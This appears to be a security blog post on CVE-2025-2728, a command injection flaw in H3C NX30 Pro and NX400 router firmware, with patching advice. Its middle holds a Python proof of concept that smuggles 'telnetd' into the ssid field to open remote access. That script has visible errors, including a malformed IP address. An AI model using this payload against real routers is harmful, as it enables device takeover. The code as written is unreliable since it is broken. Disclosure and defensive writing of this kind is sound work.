Recently, a critical vulnerability, tracked as CVE-2025-2728, was discovered in H3C Magic NX30 Pro and Magic NX400 router models running firmware versions up to V100R014. This flaw resides in the /api/wizard/getNetworkConf endpoint and can let an attacker execute arbitrary commands on the device—essentially taking control of your router if they have access to your local network.

This post provides clear details about this vulnerability, walks through an example exploit, and offers guidance on protecting your device.

What is CVE-2025-2728?

CVE-2025-2728 is a *command injection* vulnerability. The router’s web API fails to properly sanitize input sent to /api/wizard/getNetworkConf. If an attacker sends specifically crafted data, the router might interpret part of it as shell commands, and execute them with system privileges.

References

- Mitre CVE Entry (pending publication)
- h3c.com Support Page
- IoT Vulnerability Database

How Does the Exploit Work?

The router offers a web management interface, including some “wizard” functionality. This is supposed to help users set up network settings, but it’s also where the bug hides.

Attacker connects to the local network (via Wi-Fi or Ethernet).

2. Sends a specially-crafted request to the /api/wizard/getNetworkConf endpoint.

Example Exploit - Proof of Concept

Below is a simple exploit in Python script format. Make sure you have *requests* installed (pip install requests). Substitute ROUTER_IP with your router's actual local IP address.

import requests

ROUTER_IP = "192.168..1"  # Change to your router's IP
URL = f"http://{ROUTER_IP}/api/wizard/getNetworkConf";

# The payload attempts to run 'telnetd' on the router so the attacker can connect in
payload = {
    "ssid": "test'; telnetd; echo '",   # The injection is here
    "otherfield": "value"
}

try:
    r = requests.post(URL, json=payload)
    print("[+] Request sent. Response code:", r.status_code)
except Exception as e:
    print(f"[-] Error: {e}")

print("[*] If successful, telnet should now be open on the router.")

*Warning: Running unauthorized exploits—even on your own network—is risky. Do not use this on a production environment or network you do not own.*

Why Is This Serious?

Since the command runs as the system's root user, attackers have full control. Although exploitation requires access to your local network, such access is trivial in many environments (e.g., public Wi-Fi, insecure home Wi-Fi).

Just imagine: any visitor on your Wi-Fi (or an infected device) could potentially take over your router, compromise all your network traffic, or brick your device altogether.

H3C is expected to release or has released patched firmware updates for both affected models.

- Visit H3C Support for the latest download.

Conclusion

CVE-2025-2728 is a textbook example of why router security matters—especially as smart devices multiply in our homes and offices. H3C NX30 Pro and NX400 owners need to act now: update firmware, restrict network access, and monitor for suspicious activity.

If you want more technical details or tools to check for this vulnerability, follow the references below.

References (Original Sources)

- CVE-2025-2728 – Mitre Official Record (pending)
- H3C Security Notices and Firmware Download
- ZDI IoT Vulnerability Portal
- RouterSecurity.org – Hardening Tips

Timeline

Published on: 03/25/2025 03:15:16 UTC
Last modified on: 04/11/2025 20:15:23 UTC